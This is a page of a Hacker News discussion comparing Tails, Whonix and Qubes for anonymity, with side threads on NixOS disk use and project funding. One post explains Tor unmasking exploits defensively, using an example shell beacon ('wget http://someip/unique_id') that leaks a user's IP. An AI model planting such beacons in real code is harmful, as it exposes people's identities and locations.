Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Tails is a portable OS that protects against surveillance and censorship

tails.net

Post reply on HN
Print view View original

81–90 of 192 posts

Re: Tails is a portable OS that protects against surveillance and censorship

#81

Post by letmevoteplease »

yieldcrv wrote: post #45
letmevoteplease wrote: post #20

Earlier quoted context omitted.

All known law enforcement attacks against Tor have involved some kind of exploit (e.g., in Tor Browser) that creates a non-Tor connection to collect the user's IP. Tails does not protect against this. Whonix provides much stronger protection against practical, real-world attacks, since the entire operating system is forced through a Tor connection.

Tails has the entire OS as Tor connections only, an escape from the Tor browser would still be stuck in a Tor only OS. What information do you have to the contrary?

Tails includes an "Unsafe Browser" which connects in the clear. So on top of a Firefox exploit, you would need another exploit to launch that browser or an exploit to escalate to root and tamper with the firewall rules. At least one Tails user has been successfully targeted like this ("an exploit taking advantage of a flaw in Tails’ video player to reveal the real IP address of the person viewing the video").[1] With Whonix, even an attacker with root would not be able to make a non-Tor connection because the firewall runs on a separate virtual machine.

[1] https://www.vice.com/en/article/v7gd9b/facebook-helped-fbi-h...

Re: Tails is a portable OS that protects against surveillance and censorship

#82

Post by smoldesu »

miniBill wrote: post #76
smoldesu wrote: post #72

Earlier quoted context omitted.

Be warned; your hard drive may file for a divorce after a few years of daily-driving NixOS. It is both a blessing and a curse: $ smol@computer ~> du -hcs /nix/store/ 257G /nix/store/

You... do regular GC, right? I have 45G, and this computer is more than two years old

I have multiple flakes and a lotta CUDA drivers. In fairness though, this is after a few months of no manual GC. I think nix-collect-garbage could bring it down to ~120-150gb.

It's totally worth the stability, but maybe not the best choice for the storage-constrained.

EDIT: According to nix-tree my current generation is only 45gb right now.

Re: Tails is a portable OS that protects against surveillance and censorship

#83

Post by tredre3 »

ipnon wrote: post #23
sleepybrett wrote: post #9

The fact that it still does not support an incredibly popular portable computer like the raspberry pi (or anything that ins't intel) saddens me.

I agree, and you have to make the PRs you want to see. I don’t think this project of free software has a big (or perhaps any) budget!

I'm so tired of seeing this argument. Most "big" open-source projects are well funded. Usually the reason they don't support > is poor leadership, not funding.

Over the past two years Tails has received 500k USD in bitcoin alone:

https://www.blockchain.com/explorer/addresses/btc/bc1qjg53lw...

You can also surmise that they receive ~200k/yr from official sponsors:

https://tails.net/sponsors/index.en.html

Then you have all the paypal, bank, cash donations.

Is it enough to add support for a second arch that is fully supported upstream (they ship a customized Debian)? You decide.

Re: Tails is a portable OS that protects against surveillance and censorship

#84

Post by [deleted] »

fullstick wrote: post #71
londons_explore wrote: post #54

There have been quite a few exploits in tails. I suspect you're better off with a more obscure project, because then your adversary is less likely to have a 'ready to go' exploit.

Wouldn't that be security through obscurity? Which is bad security and a good way to be exploited. I thought that having more eyes on a system made it more secure because people find the exploits.

[deleted]

Re: Tails is a portable OS that protects against surveillance and censorship

#85

Post by yard2010 »

bsdnoob wrote: post #55
omani wrote: post #52

Earlier quoted context omitted.

Same here. Dont understand why not more ppl switched to alpine on the desktop. It is my daily driver. Plus LXD for stuff I must do (typically spawn ubuntu, etc.) my whole PDE (Personal Developer Environment) is within a container. Need python? Shell into (via dmenu) python container. All with complete neovim setup. Need a GUI? No problem. Spawn a container. My lxd profile is set up for this. Use chezmoi for heavy aut…

By any chance can you share how you do this practically?

+1 and from which IDE/text processor did you migrate from to neovim?

Re: Tails is a portable OS that protects against surveillance and censorship

#87

Post by sillysaurusx »

tredre3 wrote: post #83
ipnon wrote: post #23

Earlier quoted context omitted.

I agree, and you have to make the PRs you want to see. I don’t think this project of free software has a big (or perhaps any) budget!

I'm so tired of seeing this argument. Most "big" open-source projects are well funded. Usually the reason they don't support > is poor leadership, not funding. Over the past two years Tails has received 500k USD in bitcoin alone: https://www.blockchain.com/explorer/addresses/btc/bc1qjg53lw... You can also surmise that they receive ~200k/yr from official sponsors: https://tails.net/sponsors/index.en.html Then you have…

That’s a lot of donations.

Re: Tails is a portable OS that protects against surveillance and censorship

#88

Post by Syonyk »

Run_DOS_Run wrote: post #19

Tails is great. I am using it for several years now. Other related projects are whonix ( https://www.whonix.org ), which consists of two virtual machines: A workstation to work on and a gateway, which torifies all traffic from the workstation VM. Whonix is also integrated in Qubes OS ( https://www.qubes-os.org ), which allows you to easily work with multiple seperate whonix VMs. There is also the possibility to tunne…

Whonix/Qubes integration is excellent, and it's certainly a nice perk of Qubes.

To clarify the benefits of the "two VM" approach:

Most of the unmasking exploits against Tor users (as distinguished from unmasking Tor hidden services) involve getting a browser to ignore the proxy settings, somehow. I believe WebRTC, Flash, and various other things have been used to cause the browser to beacon out to some endpoint - you exploit the kitty picture site, and put in code to exploit the browser, which then makes a direct request to http://someip/unique_identifier - and, boom, you've got the user's IP, probable cause, the works.

This happens because a "typical" Tor install is the daemon running locally, but nothing prevents other binaries from making a direct connection out. You set the browser to use socks5://localhost:9050 or something as the proxy, but if you can either get some part of it to misbehave, or just spawn off a different process, it doesn't obey the proxy settings and goes straight out.

Whonix solves this problem by splitting the system into the workstation VM (what you interact with) and the gateway VM (that connects to Tor and "torifies" traffic). The only network port on the workstation VM is connected to the input port on the gateway VM - and everything coming in that port is routed through Tor, via the other (internet connected) port.

So, if you manage to exploit the workstation VM, the attacker still doesn't gain an IP - because they launch a shell that runs 'wget http://someip/unique_id', but that goes out through the gateway VM, and gets encapsulated into Tor before going out, so it still pops out some Tor exit node, not your home IP address.

It raises the bar rather substantially for using Tor, and avoids a lot of the various ways to get Tor to leak. Also, they ship a copy of the Tor Browser in Whonix, which disables a lot of high risk functionality and allows you to very easily disable automatic media parsing and Javascript and such.

Qubes is awesome, and the integrated Whonix stuff is just a beautiful integration.

Re: Tails is a portable OS that protects against surveillance and censorship

#89

Post by mrb »

boxed wrote: post #80
mrb wrote: post #79

Earlier quoted context omitted.

"It is unfortunate that it only runs on Intel macOS." Tails runs on most computers. It doesn't have to be a "macOS" (you mean Apple?). macOS is an OS, tails replaces the OS.

It doesn't run on ARM macs. Which is all new macs.

Sure, but that's not what parent said. He said it only runs on "intel macOS", which is false. It works on non-Apple computers as well.

But I understand the miscommunication, parent meant to say "of the Apple computers, it only runs on Intel ones". There is a world outside of Apple, you know :-)

Re: Tails is a portable OS that protects against surveillance and censorship

#90

Post by Scarbutt »

omani wrote: post #52
dmwilcox wrote: post #30

Love Tails, but I haven't used it in ten years. I have had Tails and Qubes disposable VMs on my mind though. I switched off of Qubes last year to my own Alpine chroot with a hand crafted kernel and initrd that lives only in memory. I find turning off the computer when I'm finished and having it forget everything to be a very peaceful way to compute. I owe the internet a write up. I feel like ramfs for root filesystem…

Same here. Dont understand why not more ppl switched to alpine on the desktop. It is my daily driver. Plus LXD for stuff I must do (typically spawn ubuntu, etc.) my whole PDE (Personal Developer Environment) is within a container. Need python? Shell into (via dmenu) python container. All with complete neovim setup. Need a GUI? No problem. Spawn a container. My lxd profile is set up for this. Use chezmoi for heavy aut…

How do you run a GUI with a container? Xorg server running in the container?
Post reply on HN